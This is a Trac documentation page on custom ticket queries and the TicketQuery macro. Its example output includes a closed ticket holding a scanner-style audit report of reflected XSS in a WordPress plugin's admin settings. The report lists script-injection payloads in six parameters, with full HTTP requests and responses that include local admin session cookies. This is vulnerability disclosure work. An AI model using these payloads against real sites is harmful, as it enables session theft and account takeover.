Trac Ticket Queries
Table of Contents
In addition to reports, Trac provides support for custom ticket queries, used to display lists of tickets meeting a specified set of criteria.
To configure and execute a custom query, switch to the View Tickets module from the navigation bar, and select the Custom Query link.
Filters
When you first go to the query page the default filter will display tickets relevant to you:
- If logged in then all open tickets it will display open tickets assigned to you.
- If not logged in but you have specified a name or email address in the preferences then it will display all open tickets where your email (or name if email not defined) is in the CC list.
- If not logged and no name/email defined in the preferences then all open issues are displayed.
Current filters can be removed by clicking the button to the right with the minus sign on the label. New filters are added from the pulldown lists at the bottom corners of the filters box ('And' conditions on the left, 'Or' conditions on the right). Filters with either a text box or a pulldown menu of options can be added multiple times to perform an or of the criteria.
You can use the fields just below the filters box to group the results based on a field, or display the full description for each ticket.
Once you've edited your filters click the Update button to refresh your results.
Navigating Tickets
Clicking on one of the query results will take you to that ticket. You can navigate through the results by clicking the Next Ticket or Previous Ticket links just below the main menu bar, or click the Back to Query link to return to the query page.
You can safely edit any of the tickets and continue to navigate through the results using the Next/Previous/Back to Query links after saving your results. When you return to the query any tickets which were edited will be displayed with italicized text. If one of the tickets was edited such that it no longer matches the query criteria the text will also be greyed. Lastly, if a new ticket matching the query criteria has been created, it will be shown in bold.
The query results can be refreshed and cleared of these status indicators by clicking the Update button again.
Saving Queries
Trac allows you to save the query as a named query accessible from the reports module. To save a query ensure that you have Updated the view and then click the Save query button displayed beneath the results. You can also save references to queries in Wiki content, as described below.
Note: one way to easily build queries like the ones below, you can build and test the queries in the Custom report module and when ready - click Save query. This will build the query string for you. All you need to do is remove the extra line breaks.
Using TracLinks
You may want to save some queries so that you can come back to them later. You can do this by making a link to the query from any Wiki page.
[query:status=new|assigned|reopened&version=1.0 Active tickets against 1.0]
Which is displayed as:
This uses a very simple query language to specify the criteria (see Query Language).
Alternatively, you can copy the query string of a query and paste that into the Wiki link, including the leading ? character:
[query:?status=new&status=assigned&status=reopened&group=owner Assigned tickets by owner]
Which is displayed as:
Using the [[TicketQuery]] Macro
The TicketQuery macro lets you display lists of tickets matching certain criteria anywhere you can use WikiFormatting.
Example:
[[TicketQuery(version=0.6|0.7&resolution=duplicate)]]
This is displayed as:
No results
Just like the query: wiki links, the parameter of this macro expects a query string formatted according to the rules of the simple ticket query language.
A more compact representation without the ticket summaries is also available:
[[TicketQuery(version=0.6|0.7&resolution=duplicate, compact)]]
This is displayed as:
No results
Finally if you wish to receive only the number of defects that match the query using the count parameter.
[[TicketQuery(version=0.6|0.7&resolution=duplicate, count)]]
This is displayed as:
0
Customizing the table format
You can also customize the columns displayed in the table format (format=table) by using col=<field> - you can specify multiple fields and what order they are displayed by placing pipes (|) between the columns like below:
[[TicketQuery(max=3,status=closed,order=id,desc=1,format=table,col=resolution|summary|owner|reporter)]]
This is displayed as:
Results (1 - 3 of 874)
| Ticket | Resolution | Summary | Owner | Reporter |
|---|---|---|---|---|
| #1527 | fixed | WPSC 1.1 fatals on initial open of settings page | donncha | hew |
| #1523 | fixed | bad-behavior plugin - XSS | error | redteam |
| #1517 | fixed | Plugin not showing in WP repository nor WP plugin section | wordpress_website |
Full rows
In table format you can also have full rows by using rows=<field> like below:
[[TicketQuery(max=3,status=closed,order=id,desc=1,format=table,col=resolution|summary|owner|reporter,rows=description)]]
This is displayed as:
Results (1 - 3 of 874)
| Ticket | Resolution | Summary | Owner | Reporter |
|---|---|---|---|---|
| #1527 | fixed | WPSC 1.1 fatals on initial open of settings page | donncha | hew |
| Description |
To reproduce:
You should now see the following: Fatal error: Call to undefined function get_supercache_dir() in /home/_PATH_/public_html/wp-content/plugins/wp-super-cache/wp-cache.php on line 551 |
|||
| #1523 | fixed | bad-behavior plugin - XSS | error | redteam |
| Description |
Wordpress Security audit bad-behavior plugin
1.1. http://127.0.0.1/wp-admin/options-general.php [%3Cscript%3Ealert(1)%3C/script%3E parameter] 1.2. http://127.0.0.1/wp-admin/options-general.php [httpbl_key parameter] 1.3. http://127.0.0.1/wp-admin/options-general.php [httpbl_maxage parameter] 1.4. http://127.0.0.1/wp-admin/options-general.php [httpbl_threat parameter] 1.5. http://127.0.0.1/wp-admin/options-general.php [reverse_proxy_addresses parameter] 1.6. http://127.0.0.1/wp-admin/options-general.php [reverse_proxy_header parameter] Issue background Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application. The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes. Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method). The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk. Issue remediation In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task. Summary Severity: High Confidence: Certain Host: http://127.0.0.1 Path(s):
Issue detail Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application. The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes. Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method). The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk. Issue remediation In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences: Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised. User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc). In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task. 1.1. http://127.0.0.1/wp-admin/options-general.php [%3Cscript%3Ealert(1)%3C/script%3E parameter] Summary Severity: High Confidence: Certain Host: http://127.0.0.1 Path: /wp-admin/options-general.php Issue detail The value of the %3Cscript%3Ealert(1)%3C/script%3E request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 64076"><script>alert(1)</script>f43455fe716 was submitted in the %3Cscript%3Ealert(1)%3C/script%3E parameter. This input was echoed as 64076\"><script>alert(1)</script>f43455fe716 in the application's response. This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. Request GET /wp-admin/options-general.php?page=bb2_options&%3Cscript%3Ealert(1)%3C/script%3E64076"><script>alert(1)</script>f43455fe716 HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Cookie: wordpress_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C0bc36ed70eff4d014b8f8f399e7931d9; bb2_screener_=1334005723+127.0.0.1; PHPSESSID=r0pobhl4p21uu57ek6lpdabr76; wordpress_test_cookie=WP+Cookie+check; wp-settings-1=widgets_access%3Doff%26uploader%3D127; wp-settings-time-1=1334005698; wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C68a0d9df0911bd2b367c681b0981811a Response HTTP/1.1 200 OK Date: Mon, 09 Apr 2012 21:09:48 GMT Server: Apache/2.2.20 (Ubuntu) X-Powered-By: PHP/5.3.6-13ubuntu3.6 Set-Cookie: bb2_screener_=1334005788+127.0.0.1; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Last-Modified: Mon, 09 Apr 2012 21:09:48 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Content-Length: 27011 Content-Type: text/html; charset=UTF-8 <!DOCTYPE html> <!--[if IE 8]> <html xmlns=" http://www.w3.org/1999/xhtml" class="ie8" dir="ltr" lang="en-US"> <![endif]--> <!--[if !(IE 8) ]><!--> <html xmlns=" http://www.w3.org/1999/xhtml" dir="ltr ...[SNIP]... <form method="post" action="/wp-admin/options-general.php?page=bb2_options&%3Cscript%3Ealert(1)%3C/script%3E64076\"><script>alert(1)</script>f43455fe716"> ...[SNIP]... 1.2. http://127.0.0.1/wp-admin/options-general.php [httpbl_key parameter] Summary Severity: High Confidence: Certain Host: http://127.0.0.1 Path: /wp-admin/options-general.php Issue detail The value of the httpbl_key request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cd7f3"><script>alert(1)</script>2953f971e04275ebc was submitted in the httpbl_key parameter. This input was echoed as cd7f3\"><script>alert(1)</script>2953f971e04275ebc in the application's response. This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack. Request GET /wp-admin/options-general.php?page=bb2_options&display_stats=true&logging=false&httpbl_key=cd7f3"><script>alert(1)</script>2953f971e04275ebc&httpbl_threat=25&httpbl_maxage=30&reverse_proxy_header=X-Forwarded-For&reverse_proxy_addresses=127.0.0.1&submit=Update+%C2%BB HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Referer: http://127.0.0.1/wp-admin/options-general.php?page=bb2_options Cookie: wordpress_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C0bc36ed70eff4d014b8f8f399e7931d9; bb2_screener_=1334005698+127.0.0.1; PHPSESSID=r0pobhl4p21uu57ek6lpdabr76; wordpress_test_cookie=WP+Cookie+check; wp-settings-1=widgets_access%3Doff%26uploader%3D127; wp-settings-time-1=1334005698; wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C68a0d9df0911bd2b367c681b0981811a Response HTTP/1.1 200 OK Date: Mon, 09 Apr 2012 21:10:15 GMT Server: Apache/2.2.20 (Ubuntu) X-Powered-By: PHP/5.3.6-13ubuntu3.6 Set-Cookie: bb2_screener_=1334005815+127.0.0.1; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Last-Modified: Mon, 09 Apr 2012 21:10:16 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Content-Length: 27211 Content-Type: text/html; charset=UTF-8 <!DOCTYPE html> <!--[if IE 8]> <html xmlns=" http://www.w3.org/1999/xhtml" class="ie8" dir="ltr" lang="en-US"> <![endif]--> <!--[if !(IE 8) ]><!--> <html xmlns=" http://www.w3.org/1999/xhtml" dir="ltr ...[SNIP]... <form method="post" action="/wp-admin/options-general.php?page=bb2_options&display_stats=true&logging=false&httpbl_key=cd7f3\"><script>alert(1)</script>2953f971e04275ebc&httpbl_threat=25&httpbl_maxage=30&reverse_proxy_header=X-Forwarded-For&reverse_proxy_addresses=127.0.0.1&submit=Update+%C2%BB"> ...[SNIP]... 1.3. http://127.0.0.1/wp-admin/options-general.php [httpbl_maxage parameter] Summary Severity: High Confidence: Certain Host: http://127.0.0.1 Path: /wp-admin/options-general.php Issue detail The value of the httpbl_maxage request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7cd38"><script>alert(1)</script>e4c0c1d8579ca03c8 was submitted in the httpbl_maxage parameter. This input was echoed as 7cd38\"><script>alert(1)</script>e4c0c1d8579ca03c8 in the application's response. This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack. Request GET /wp-admin/options-general.php?page=bb2_options&display_stats=true&logging=false&httpbl_key=&httpbl_threat=25&httpbl_maxage=307cd38"><script>alert(1)</script>e4c0c1d8579ca03c8&reverse_proxy_header=X-Forwarded-For&reverse_proxy_addresses=127.0.0.1&submit=Update+%C2%BB HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Referer: http://127.0.0.1/wp-admin/options-general.php?page=bb2_options Cookie: wordpress_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C0bc36ed70eff4d014b8f8f399e7931d9; bb2_screener_=1334005698+127.0.0.1; PHPSESSID=r0pobhl4p21uu57ek6lpdabr76; wordpress_test_cookie=WP+Cookie+check; wp-settings-1=widgets_access%3Doff%26uploader%3D127; wp-settings-time-1=1334005698; wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C68a0d9df0911bd2b367c681b0981811a Response HTTP/1.1 200 OK Date: Mon, 09 Apr 2012 21:11:41 GMT Server: Apache/2.2.20 (Ubuntu) X-Powered-By: PHP/5.3.6-13ubuntu3.6 Set-Cookie: bb2_screener_=1334005901+127.0.0.1; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Last-Modified: Mon, 09 Apr 2012 21:11:41 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Content-Length: 27196 Content-Type: text/html; charset=UTF-8 <!DOCTYPE html> <!--[if IE 8]> <html xmlns=" http://www.w3.org/1999/xhtml" class="ie8" dir="ltr" lang="en-US"> <![endif]--> <!--[if !(IE 8) ]><!--> <html xmlns=" http://www.w3.org/1999/xhtml" dir="ltr ...[SNIP]... <form method="post" action="/wp-admin/options-general.php?page=bb2_options&display_stats=true&logging=false&httpbl_key=&httpbl_threat=25&httpbl_maxage=307cd38\"><script>alert(1)</script>e4c0c1d8579ca03c8&reverse_proxy_header=X-Forwarded-For&reverse_proxy_addresses=127.0.0.1&submit=Update+%C2%BB"> ...[SNIP]... 1.4. http://127.0.0.1/wp-admin/options-general.php [httpbl_threat parameter] Summary Severity: High Confidence: Certain Host: http://127.0.0.1 Path: /wp-admin/options-general.php Issue detail The value of the httpbl_threat request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e1a44"><script>alert(1)</script>c5956c0cf3d6caac4 was submitted in the httpbl_threat parameter. This input was echoed as e1a44\"><script>alert(1)</script>c5956c0cf3d6caac4 in the application's response. This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack. Request GET /wp-admin/options-general.php?page=bb2_options&display_stats=true&logging=false&httpbl_key=&httpbl_threat=25e1a44"><script>alert(1)</script>c5956c0cf3d6caac4&httpbl_maxage=30&reverse_proxy_header=X-Forwarded-For&reverse_proxy_addresses=127.0.0.1&submit=Update+%C2%BB HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Referer: http://127.0.0.1/wp-admin/options-general.php?page=bb2_options Cookie: wordpress_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C0bc36ed70eff4d014b8f8f399e7931d9; bb2_screener_=1334005698+127.0.0.1; PHPSESSID=r0pobhl4p21uu57ek6lpdabr76; wordpress_test_cookie=WP+Cookie+check; wp-settings-1=widgets_access%3Doff%26uploader%3D127; wp-settings-time-1=1334005698; wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C68a0d9df0911bd2b367c681b0981811a Response HTTP/1.1 200 OK Date: Mon, 09 Apr 2012 21:10:49 GMT Server: Apache/2.2.20 (Ubuntu) X-Powered-By: PHP/5.3.6-13ubuntu3.6 Set-Cookie: bb2_screener_=1334005849+127.0.0.1; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Last-Modified: Mon, 09 Apr 2012 21:10:49 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Content-Length: 27189 Content-Type: text/html; charset=UTF-8 <!DOCTYPE html> <!--[if IE 8]> <html xmlns=" http://www.w3.org/1999/xhtml" class="ie8" dir="ltr" lang="en-US"> <![endif]--> <!--[if !(IE 8) ]><!--> <html xmlns=" http://www.w3.org/1999/xhtml" dir="ltr ...[SNIP]... <form method="post" action="/wp-admin/options-general.php?page=bb2_options&display_stats=true&logging=false&httpbl_key=&httpbl_threat=25e1a44\"><script>alert(1)</script>c5956c0cf3d6caac4&httpbl_maxage=30&reverse_proxy_header=X-Forwarded-For&reverse_proxy_addresses=127.0.0.1&submit=Update+%C2%BB"> ...[SNIP]... 1.5. http://127.0.0.1/wp-admin/options-general.php [reverse_proxy_addresses parameter] Summary Severity: High Confidence: Certain Host: http://127.0.0.1 Path: /wp-admin/options-general.php Issue detail The value of the reverse_proxy_addresses request parameter is copied into the HTML document as plain text between tags. The payload 8db6c<script>alert(1)</script>c29bb04915a was submitted in the reverse_proxy_addresses parameter. This input was echoed unmodified in the application's response. This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. Request POST /wp-admin/options-general.php?page=bb2_options HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Referer: http://127.0.0.1/wp-admin/options-general.php?page=bb2_options Cookie: wordpress_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C0bc36ed70eff4d014b8f8f399e7931d9; bb2_screener_=1334005698+127.0.0.1; PHPSESSID=r0pobhl4p21uu57ek6lpdabr76; wordpress_test_cookie=WP+Cookie+check; wp-settings-1=widgets_access%3Doff%26uploader%3D127; wp-settings-time-1=1334005698; wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C68a0d9df0911bd2b367c681b0981811a Content-Type: application/x-www-form-urlencoded Content-Length: 170 display_stats=true&logging=false&httpbl_key=&httpbl_threat=25&httpbl_maxage=30&reverse_proxy_header=X-Forwarded-For&reverse_proxy_addresses=127.0.0.18db6c<script>alert(1)</script>c29bb04915a&submit=Update+%C2%BB Response HTTP/1.1 200 OK Date: Mon, 09 Apr 2012 21:13:22 GMT Server: Apache/2.2.20 (Ubuntu) X-Powered-By: PHP/5.3.6-13ubuntu3.6 Set-Cookie: bb2_screener_=1334006002+127.0.0.1; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Last-Modified: Mon, 09 Apr 2012 21:13:22 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Content-Length: 26839 Content-Type: text/html; charset=UTF-8 <!DOCTYPE html> <!--[if IE 8]> <html xmlns=" http://www.w3.org/1999/xhtml" class="ie8" dir="ltr" lang="en-US"> <![endif]--> <!--[if !(IE 8) ]><!--> <html xmlns=" http://www.w3.org/1999/xhtml" dir="ltr ...[SNIP]... <textarea cols="24" rows="6" name="reverse_proxy_addresses">127.0.0.18db6c<script>alert(1)</script>c29bb04915a</textarea> ...[SNIP]... 1.6. http://127.0.0.1/wp-admin/options-general.php [reverse_proxy_header parameter] Summary Severity: High Confidence: Certain Host: http://127.0.0.1 Path: /wp-admin/options-general.php Issue detail The value of the reverse_proxy_header request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bedd2"><script>alert(1)</script>5af099f2be1ee80ab was submitted in the reverse_proxy_header parameter. This input was echoed as bedd2\"><script>alert(1)</script>5af099f2be1ee80ab in the application's response. This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack. Request GET /wp-admin/options-general.php?page=bb2_options&display_stats=true&logging=false&httpbl_key=&httpbl_threat=25&httpbl_maxage=30&reverse_proxy_header=X-Forwarded-Forbedd2"><script>alert(1)</script>5af099f2be1ee80ab&reverse_proxy_addresses=127.0.0.1&submit=Update+%C2%BB HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Referer: http://127.0.0.1/wp-admin/options-general.php?page=bb2_options Cookie: wordpress_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C0bc36ed70eff4d014b8f8f399e7931d9; bb2_screener_=1334005698+127.0.0.1; PHPSESSID=r0pobhl4p21uu57ek6lpdabr76; wordpress_test_cookie=WP+Cookie+check; wp-settings-1=widgets_access%3Doff%26uploader%3D127; wp-settings-time-1=1334005698; wordpress_logged_in_5c016e8f0f95f039102cbe8366c5c7f3=admin%7C1334178029%7C68a0d9df0911bd2b367c681b0981811a Response HTTP/1.1 200 OK Date: Mon, 09 Apr 2012 21:12:31 GMT Server: Apache/2.2.20 (Ubuntu) X-Powered-By: PHP/5.3.6-13ubuntu3.6 Set-Cookie: bb2_screener_=1334005951+127.0.0.1; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Last-Modified: Mon, 09 Apr 2012 21:12:32 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Content-Length: 27176 Content-Type: text/html; charset=UTF-8 <!DOCTYPE html> <!--[if IE 8]> <html xmlns=" http://www.w3.org/1999/xhtml" class="ie8" dir="ltr" lang="en-US"> <![endif]--> <!--[if !(IE 8) ]><!--> <html xmlns=" http://www.w3.org/1999/xhtml" dir="ltr ...[SNIP]... <form method="post" action="/wp-admin/options-general.php?page=bb2_options&display_stats=true&logging=false&httpbl_key=&httpbl_threat=25&httpbl_maxage=30&reverse_proxy_header=X-Forwarded-Forbedd2\"><script>alert(1)</script>5af099f2be1ee80ab&reverse_proxy_addresses=127.0.0.1&submit=Update+%C2%BB"> ...[SNIP]... |
|||
| #1517 | fixed | Plugin not showing in WP repository nor WP plugin section | wordpress_website | |
| Description |
For some reason, my "404 Redirection" plugin ( http://wordpress.org/extend/plugins/404-redirection/) doesn't show in the plugin search, nor does it show the plugin page when you visit the link directly. However, when I log into my WordPress.org account, I'm able to navigate to the plugin URL directly without issue, but a search in the plugin section still does not show my plugin. In fact, when I attempt to click the "download" button on my plugin page, I get 404 "404 File not found". I can't possibly understand what is going on here. My account password is very secure (63 random characters) - so, I highly doubt that has been compromised. I can't fathom having somehow infringed on the TOS. Additionally, I haven't received any emails or communications of any kind (spam or otherwise) regarding my plugin or my account. Is there anyway that someone can shed some light on this situation, and possibly correct this issue? I'd prefer to not have to resubmit this plugin under a different name and lose all stats. Please advise. Thanks. I posted the same issue on the forums ( http://wordpress.org/support/topic/plugin-not-showing-in-wp-repository-nor-wp-plugin-section?replies=0) not realizing that I could also submit a ticket here. |
|||
Query Language
query: TracLinks and the [[TicketQuery]] macro both use a mini “query language” for specifying query filters. Basically, the filters are separated by ampersands (&). Each filter then consists of the ticket field name, an operator, and one or more values. More than one value are separated by a pipe (|), meaning that the filter matches any of the values. To include a litteral & or | in a value, escape the character with a backslash (\).
The available operators are:
| = | the field content exactly matches the one of the values |
| ~= | the field content contains one or more of the values |
| ^= | the field content starts with one of the values |
| $= | the field content ends with one of the values |
All of these operators can also be negated:
| != | the field content matches none of the values |
| !~= | the field content does not contain any of the values |
| !^= | the field content does not start with any of the values |
| !$= | the field content does not end with any of the values |
The date fields created and modified can be constrained by using the = operator and specifying a value containing two dates separated by two dots (..). Either end of the date range can be left empty, meaning that the corresponding end of the range is open. The date parser understands a few natural date specifications like "3 weeks ago", "last month" and "now", as well as Bugzilla-style date specifications like "1d", "2w", "3m" or "4y" for 1 day, 2 weeks, 3 months and 4 years, respectively. Spaces in date specifications can be left out to avoid having to quote the query string.
| created=2007-01-01..2008-01-01 | query tickets created in 2007 |
| created=lastmonth..thismonth | query tickets created during the previous month |
| modified=1weekago.. | query tickets that have been modified in the last week |
| modified=..30daysago | query tickets that have been inactive for the last 30 days |
See also: TracTickets, TracReports, TracGuide
